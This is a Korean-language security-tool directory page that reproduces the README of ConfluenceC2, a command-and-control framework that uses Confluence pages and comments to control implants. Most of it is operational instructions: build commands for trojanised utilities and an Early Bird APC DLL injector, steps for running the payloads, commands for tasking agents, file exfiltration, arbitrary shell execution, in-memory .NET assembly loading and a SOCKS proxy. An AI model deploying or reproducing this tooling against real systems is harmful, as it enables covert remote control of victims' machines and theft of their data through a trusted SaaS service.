Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ConfluenceC2 — 이 프로젝트는 다른 모든 SaaS 제품을 C2로 만들기 위한 것을 목표로 하며, Confluence는 시작에 불과합니다. | Kitploit
도구/GitHubGitHub/dagowda/confluencec2
Persistence MechanismsLateral MovementScripting & AutomationShellcodeData ExfiltrationPost-ExploitationWeb SecurityPenetration TestingCommand and ControlRed TeamingPayload DevelopmentRemote Access Trojan
132182일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
GitHubdagowda/confluencec2

ConfluenceC2

이 프로젝트는 다른 모든 SaaS 제품을 C2로 만들기 위한 것을 목표로 하며, Confluence는 시작에 불과합니다.

저장소 보기
공유

Confluence C2

작성자: Dhanush Arvind

image_alt

사전 요구 사항

Python 3.8+ 및 requests:

pip install requests

Confluence Cloud 계정과 API 토큰(https://id.atlassian.com/manage-profile/security/api-tokens 에서 생성) 또는 Confluence Server 자격 증명

MinGW GCC 다음 중 하나:

  • x86_64-w64-mingw32-gcc가 포함된 WSL (sudo apt install gcc-mingw-w64-x86-64), 또는
  • Windows에 네이티브로 설치되어 PATH에 추가된 MinGW-w64

1단계: C2 페이지 생성 또는 브라우저를 사용하여 수동으로 생성

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

Page ID를 출력에서 저장하세요. 아래의 모든 작업에 필요합니다.

사용자 지정 제목을 사용하려면:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

2단계: 호출자 구성

configure.py를 실행하여 Confluence 자격 증명과 페이지 ID를 호출자 소스에 내장하세요:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
인수필수설명
--url예Confluence 기본 URL
--email예Confluence 계정 이메일
--api-token예Confluence API 토큰
--page-id예1단계에서 확인한 페이지 ID
--sleep아니오비콘 간격(밀리초) (기본값: 10000)
--output아니오출력 디렉터리 (기본값: build)
--no-wiki-prefix아니오/wiki 접두사 생략 (Confluence Server용)
--compile아니오gcc가 PATH에 있으면 자동 컴파일

3단계: MinGW로 컴파일

옵션 A: WSL MinGW 크로스 컴파일러 (Windows에서 권장)

PowerShell에서:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

/mnt/c/path/to/build를 프로젝트의 빌드 디렉터리에 대한 실제 WSL 경로로 바꾸세요.

옵션 B: Windows에서 네이티브 MinGW 사용

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

옵션 C: configure.py를 통한 자동 컴파일

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

수동 컴파일 후, 바이너리를 payloads/에 복사합니다:

copy build\*.exe payloads\
copy build\*.dll payloads\

4단계: 호출자 실행

페이로드 1: 독립 실행형

payloads\caller.exe

페이로드 2: 트로이 목마화된 QuickSysInfo

payloads\QuickSysInfo.exe

페이로드 3: Early Bird DLL 인젝션

두 파일은 반드시 같은 디렉터리에 있어야 합니다:

cd payloads
earlybird_inject.exe

페이로드 4: 트로이 목마화된 QuickProcView

두 파일은 반드시 같은 디렉터리에 있어야 합니다:

cd payloads
QuickProcView.exe

5단계: 운영 — CLI 또는 웹 GUI

옵션 A: CLI 운영자 (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

옵션 B: 웹 GUI (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

브라우저에서 http://127.0.0.1:8443을 엽니다.

6단계: 명령 전송

CLI 사용: 페이지 본문

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

CLI 사용: Comment

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

웹 GUI를 통해

Console 탭을 엽니다. Page Body 또는 Comment 모드를 선택합니다. 명령을 입력하고 대상 에이전트를 선택한 후 Send를 클릭합니다.

브라우저를 통해 (도구 불필요)

C2 페이지로 이동하여 댓글을 게시합니다:

[cmd] whoami

특정 에이전트를 대상으로 지정:

[cmd:90bd7c8a] whoami

대화형 셸 (CLI 전용)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

출력 읽기

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

.NET 어셈블리를 메모리 내에서 실행

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

7단계: 호출자 종료

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

8단계: 정리

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

또는 Web GUI를 통해: Cleanup 탭을 열고 cleanup 버튼을 클릭합니다.

Caller 명령어

명령어설명
whoami호스트 이름\사용자 이름 출력
pwd현재 디렉터리 출력
cd <dir>디렉터리 변경
ls [dir]디렉터리 내용 나열
cat <file>파일 내용 출력
ps실행 중인 프로세스 나열
ipconfig네트워크 구성 표시
netstat활성 연결 표시
info에이전트 메타데이터 출력
download <file>파일을 Base64로 인코딩하여 유출
shell <cmd>cmd.exe를 통해 임의 명령 실행
execute-assembly <b64> [args].NET 어셈블리를 메모리에 로드하여 실행
socks start <port>127.0.0.1:<port>에서 SOCKS5 프록시 시작
socks stopSOCKS5 프록시 중지
socks statusSOCKS5 프록시 상태 표시
help사용 가능한 명령어 표시
exitcaller 프로세스 종료
(그 외 모든 것)셸 명령으로 실행
도구 다운로드